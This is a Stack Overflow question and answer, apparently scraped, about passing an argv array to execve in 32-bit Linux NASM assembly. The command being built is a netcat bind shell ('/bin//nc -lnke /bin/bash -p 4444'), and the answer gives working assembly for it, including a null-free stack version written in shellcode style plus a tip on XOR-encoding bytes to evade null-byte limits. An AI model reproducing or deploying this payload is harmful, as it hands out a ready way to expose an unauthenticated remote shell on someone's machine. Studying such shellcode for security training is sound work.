问题
I am trying to execute the following with execve
: /bin//nc -lnke /bin/bash -p 4444
When reading the man page for execve
, I see the following requirements:
int execve(const char *filename, char *const argv[],
char *const envp[]);
The issue I am running into is pushing arguments to argv
; I do not understand how you push an array (in assembly) for this to work properly.
The assembly that I am currently using is below:
global _start
_start:
xor eax, eax
; command
push eax
push 0x636e2f2f
push 0x6e69622f
mov ebx, esp
; args
push eax
push 0x34343434
push 0x20702d20
push 0x68736162
push 0x2f6e6962
push 0x2f20656b
push 0x6e6c2d20
mov ecx, esp
; null, arg 1
push eax
mov edx, esp
; push to stack
push edx
push ecx
push ebx
; command
mov al, 11
int 0x80
It results in the following being passed to execve
:
$ strace -f -e execve -s 10000 ./bind
execve("/bin//nc", [0x6e6c2d20, 0x2f20656b, 0x2f6e6962, 0x68736162, 0x20702d20, 0x34343434], 0xffd4c0d4 /* 0 vars */) = -1 EFAULT (Bad address)
How do I pass these arguments properly using assembly?
I am using Linux with nasm
回答1:
In C, arrays are implicitly converted to pointers to their first elements. So in your case, you need to pass a pointer to an array of pointers to strings. Each array is terminated with a null pointer. Each string is terminated with a NUL byte. The arguments to system calls are passed in ebx
, ecx
, edx
, etc. with the system call number being in eax
. Like this:
section .data
; strings
arg0 db "/bin//nc",0
arg1 db "-lnke",0
arg2 db "/bin/bash",0
arg3 db "-p",0
arg4 db "4444",0
; arrays
align 4
argv dd arg0, arg1, arg2, arg3, arg4, 0
envp dd 0
section .text
global _start
_start: mov eax, 11 ; SYS_execve
mov ebx, arg0 ; filanem
mov ecx, argv ; argv
mov edx, envp ; envp
int 0x80 ; syscall
I'm not sure which operating system you are programming for. This example assumes Linux.
If you cannot use the data segment for some reason, proceed like this:
; for easier addressing
mov ebp, esp
; push strings
xor eax, eax
push eax ; - 4
push "4444" ; - 8
push "\0-p\0" ; -12
push "bash" ; -16
push "bin/" ; -20
push "ke\0/" ; -24
push "\0-ln" ; -28
push "//nc" ; -32
push "/bin" ; -36
; push argv, right to left
xor eax, eax
push eax ; NULL
lea ebx, [ebp-8]
push ebx ; "4444\0"
lea ebx, [ebp-11]
push ebx ; "-p\0"
lea ebx, [ebp-21]
push ebx ; "/bin/bash\0"
lea ebx, [ebp-27]
push ebx ; "-lnke\0"
lea ebx, [ebp-36] ; filename
push ebx ; "/bin//nc\0"
mov ecx, esp ; argv
lea edx, [ebp-4] ; envp (NULL)
mov al, 11 ; SYS_execve
int 0x80
In case you can't have null bytes in your data for whatever reason you need to do some cloaking beforehand. For example, you could push each byte xor'ed with 0x80 and xor the data on the stack with 0x80 again afterwards.
来源:https://stackoverflow.com/questions/52171273/what-is-proper-way-to-call-execve-with-arguments-in-assembly